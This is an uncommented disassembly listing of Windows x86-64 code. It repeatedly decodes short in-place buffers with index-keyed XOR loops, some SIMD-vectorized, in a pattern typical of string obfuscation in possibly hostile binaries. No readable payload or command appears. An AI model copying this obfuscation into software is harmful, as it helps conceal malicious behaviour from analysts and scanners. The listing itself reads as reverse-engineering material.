sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001b1e0
mov rdx, r10
lea rcx, [rbp + 0x18d8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x18f8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x18b8]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x18f8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x18d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1898]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1858]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1838]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x17f8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x17d8]
call fcn.1400079a0
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x4c8]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5a28]
lea rcx, [rbp - 0x36]
call fcn.14002d610
mov r10, rax
cmp word [rax + 0x28], 0
je 0x14001b554
mov r8d, esi
cmp r14d, 2
jl 0x14001b50f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x14001b520
mov rdx, r10
lea rcx, [rbp + 0x1918]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1938]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1958]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x35]
call fcn.14002d5e0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x14001b800
mov r8d, esi
cmp r14d, 2
jl 0x14001b7be
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14001b7d0
mov rdx, r10
lea rcx, [rbp + 0x1978]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1998]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1958]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x19b8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5518]
lea rcx, [rbp - 0x34]
call fcn.14002d5b0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001b9b0
mov r8d, esi
cmp r14d, 2
jl 0x14001b96b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001b880
cmp r8d, 0x21
jge 0x14001b9b0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001b980
mov rdx, r10
lea rcx, [rbp + 0x19d8]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x19b8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x59a0]
lea rcx, [rbp - 0x33]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001bb40
mov r8d, esi
cmp r14d, 2
jl 0x14001bafb
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ba10
cmp r8d, 0x27
jge 0x14001bb40
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001bb10
mov rdx, r10
lea rcx, [rbp + 0x1a18]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1a38]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x19f8]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x1a38]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1a18]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x19d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1998]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1978]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1938]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1918]
call fcn.1400079a0
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x4e0]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5ae8]
lea rcx, [rbp - 0x32]
call fcn.14002d6b0
mov r10, rax
cmp word [rax + 0x2c], 0
je 0x14001be84
mov r8d, esi
cmp r14d, 2
jl 0x14001be3f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x17
jl 0x14001be50
mov rdx, r10
lea rcx, [rbp + 0x1a58]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x1a78]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x1a98]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x31]
call fcn.14002d680
mov r10, rax
cmp byte [rax + 0x16], 0
je 0x14001c130
mov r8d, esi
cmp r14d, 2
jl 0x14001c0ee
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14001c100
mov rdx, r10
lea rcx, [rbp + 0x1ab8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x1ad8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1a98]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x1af8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x54f0]
lea rcx, [rbp - 0x30]
call fcn.14002d650
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x14001c2e0
mov r8d, esi
cmp r14d, 2
jl 0x14001c29b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001c1b0
cmp r8d, 0x21
jge 0x14001c2e0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001c2b0
mov rdx, r10
lea rcx, [rbp + 0x1b18]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1af8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5838]
lea rcx, [rbp - 0x2f]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x14001c470
mov r8d, esi
cmp r14d, 2
jl 0x14001c42b
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001c340
cmp r8d, 0x27
jge 0x14001c470
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x14001c440
mov rdx, r10
lea rcx, [rbp + 0x1b58]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x1b78]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1b38]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x1b78]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1b58]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1b18]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1ad8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1ab8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x1a78]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x1a58]
call fcn.1400079a0
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x4f8]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5b50]
lea rcx, [rbp - 0x2e]
call fcn.14002d750
mov r10, rax
cmp word [rax + 0x30], 0
je 0x14001c824
mov r8d, esi
cmp r14d, 2
jl 0x14001c7da
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
